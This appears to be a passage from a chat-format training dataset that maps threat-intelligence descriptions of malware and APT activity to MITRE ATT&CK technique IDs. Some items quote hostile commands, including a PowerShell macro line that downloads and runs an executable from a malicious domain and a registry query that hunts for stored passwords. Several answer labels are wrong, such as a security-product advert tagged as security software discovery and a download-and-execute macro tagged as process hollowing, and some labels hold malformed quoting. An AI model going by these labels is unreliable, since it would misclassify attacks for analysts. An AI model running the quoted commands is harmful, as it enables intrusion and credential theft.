        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "REvil can enumerate active services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper can search for anti-virus software running on the system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CookieMiner has used base64 encoding to obfuscate scripts on the system."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DanBot can use VNC for remote access to targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services:VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PcShare has used `rundll32.exe` for execution."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collects the victim LAN IP address and sends it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "the filename changed from tru.dll to kibuyuink.exe, even though it remained a DLL and still required regsvr32.exe to run. Changing the filename extension is a common tactic seen in various malware infections."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware', 'T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The C2 communications begins with a beacon to the following URL: hxxp://www.windowspatch[.]com/khc?<hex(STDOUT of whoami command)> If the C2 server wishes to send a command, it will respond to the beacon above by echoing the whoami command results sent by the Trojan to the C2 in the URL"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1571 - Non-Standard Port', 'T1008 - Fallback Channels', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has injected its DLL component into `EhStorAurhn.exe`."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers and beacons the system time during installation."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used  to locate PDF, Excel, and Word documents during. The group also searched a compromised DCCC computer for specific terms."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first lateral movement occurred to the domain controller not affected by the use of CVE-2020-1472. An executable was transferred to it via SMB using a domain administrator account"
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "End users can benefit from security solutions such as Trend Micro Home Security for Mac, which provides comprehensive security and multi-device protection against cyberthreats"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Taidoor has collected the MAC address of a compromised host; it can also use \"GetAdaptersInfo\" to identify network adapters."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flame identifies security software such as antivirus through the Security module."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These variants include system information collection (operating system, computer name), keylogger output, and browser password collection from Internet Explorer, Chrome and Firefox"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cleaver has created customized tools and payloads for functions including ARP poisoning, encryption, credential dumping, ASP.NET shells, web backdoors, process enumeration, WMI querying, HTTP and SMB communications, network interface sniffing, and keystroke logging."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remcos can access a system’s webcam and take pictures."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldFinder has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Okrum has used a custom implementation of AES encryption to encrypt collected data."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "xCaon has decoded strings from the C2 server before executing commands."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Registry key “Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\” is queried to gather proxy information with values ProxyEnable, Proxy: (NO), Proxy, ProxyServer"
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy', 'T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CORESHELL can communicate over SMTP and POP3 for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has used HTTPS over port 443 for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mongall has the ability to decrypt its payload prior to execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti ransomware can retrieve the ARP cache from the local system by using the GetIpNetTable() API call and check to ensure IP addresses it connects to are for local, non-internet systems."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before writing a keystroke to the log, the malware obtains the current locale identifier using the ‘GetKeyboardLayout’ API. The retrieved value is checked against several hardcoded paths in which the low DWORD is set to 0x0429"
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one instance, a log file recovered from an open indexed server revealed that an IP address (112.66.188.28) located in Hainan, China had been used to administer the command and control node that was communicating with malware on victim machines"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Finally, Reaver.v2 will execute the ‘~Update.lnk’ file in a new process, thus loading the recently dropped malicious CPL file"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bumblebee can use multiple Native APIs."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Updater.exe program has the same program icon as CelasTradePro.exe. When run, it checks for the CheckUpdate parameter, collects the victim’s host information (System Owner/User Discovery [T1033]), encrypts the collected information with a hardcoded XOR encryption, and sends information to a C2 website (Exfiltration Over C2 Channel [T1041"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hancitor has decoded Base64 encoded URLs to insert a recipient’s name into the filename of the Word document. Hancitor has also extracted executables from ZIP files."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can switch to a new C2 channel if the current one is broken."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SMOKEDHAM can continuously capture keystrokes."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has been observed leveraging a module that can scrape email addresses from Outlook."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot leverages a known zero-day vulnerability in Adobe Flash to execute the implant into the victims’ machines."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT-C-36 has used a macro function to set scheduled tasks, disguised as those used by Google."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Orz versions have an embedded DLL known as MockDll that uses Process Hollowing and regsvr32 to execute another payload."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used Mimikatz's DCSync to dump credentials from the memory of the targeted system."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can query service configuration information."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BabyShark has executed the \"ver\" command."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "will copy files over to Windows Admin Shares (like ADMIN$) as part of lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  payload has searched all fixed drives on the victim for files matching a specified list of extensions."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire uses a command-line interface to interact with systems."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used the service control manager on a remote system to disable services associated with security monitoring products."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTPS, HTTP, and DNS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The shellcode invokes PowerShell to issue a HTTP GET request for a random four (4) character URI on the root of autodiscovery[.]2bunny[.]com. The requests contain minimal HTTP headers since the PowerShell command is executed with mostly default parameters. Figure 5 depicts an HTTP GET request generated by the payload, with minimal HTTP headers"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  variants use ports 8080 and 8000 for C2."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has gained access to internet-facing systems and applications, including virtual private network (VPN), remote desktop protocol (RDP), and virtual desktop infrastructure (VDI) including Citrix."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Document   Decoy Document  The attack starts with a spear-phishing email containing the HWP document named \"미북 정상회담 전망 및 대비.hwp\" (Prospects for US-North Korea Summit .hwp)"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can enumerate directories on a compromise host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can collect the username from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "USBferry can execute rundll32.exe in memory to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "pngdowner uses HTTP for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "reg query HKCU /f password /t REG_SZ /s"
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IceApple can use HTTP GET to request and pull information from C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SynAck parses the export tables of system DLLs to locate and call various Windows API functions."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 used the command \"query user\" on victim hosts."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro downloads a payload from hxxp://lokipanelhostingpanel[.]gq/work/kh/1.exe (SHA256: 84ed59953f57f5927b9843f35ca3c325155d5210824d3b79b060755827b51f72) by running the following command line process:cmd.exe /c powershell -W Hidden (New-Object System.NeT.WeBClieNT).DownloadFile('http://lokipanelhostingpanel[.]gq/work/kh/1.exe','%Public%\\\\\\\\svchost32.exe');Start-Process '%Public%\\\\\\\\svchost32.exeThe macro then attempts to kill Microsoft Office and Windows Defender processes using the ‘taskkill’ command"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing', 'T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The shellcode then creates a string that it uses to create a registry key to automatically run the final payload each time the system starts. It then opens the registry key 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon' and sets the value to the \"Shell\" subkey to the previously created string. Ultimately, the following registry key is created for persistence"
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Active Setup', 'T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AT&amp;T Alien Labs™ has discovered a new campaign by threat group TeamTNT that is targeting multiple operating systems and applications. The campaign uses multiple shell/batch scripts, new open source tools, a cryptocurrency miner, the TeamTNT IRC bot, and more"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Indrik Spider used fake updates for FlashPlayer plugin and Google Chrome as initial infection vectors."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MoonWind saves information from its keylogging routine as a .zip file in the present working directory."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used compromised service principals to make changes to the Office 365 environment."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32's backdoor has used LZMA compression and RC4 encryption before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan can identify users registered to a targeted machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman has the ability to enumerate file and folder names."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sandworm Team has used Base64 encoding within malware variants. Sandworm Team has also used ROT13 encoding, AES encryption and compression with the zlib library for their Python-based backdoor."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperStack uses named pipes to execute remote procedure calls (RPC) from the controller to the device hosting the HyperStack client. To move laterally, the implant tries to connect to another remote device’s IPC$ share, either using a null session or default credentials. IPC$ is a share that facilitates inter-process communication (IPC) by exposing named pipes to write to or read from. If the implant’s connection to the IPC$ is successful, the implant can forward RPC commands from the controller to the remote device, and likely has the capability to copy itself onto the remote device"
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication', 'T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OutSteel has relied on a user to execute a malicious attachment delivered via spearphishing."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware gathers the registered user and primary owner name via WMI."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerStallion uses a XOR cipher to encrypt command output written to its OneDrive C2 server."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Confucius has used a file stealer to steal documents and images with the following extensions: txt, pdf, png, jpg, doc, xls, xlm, odp, ods, odt, rtf, ppt, xlsx, xlsm, docx, pptx, and jpeg."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "China Chopper's server component can change the timestamp of files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
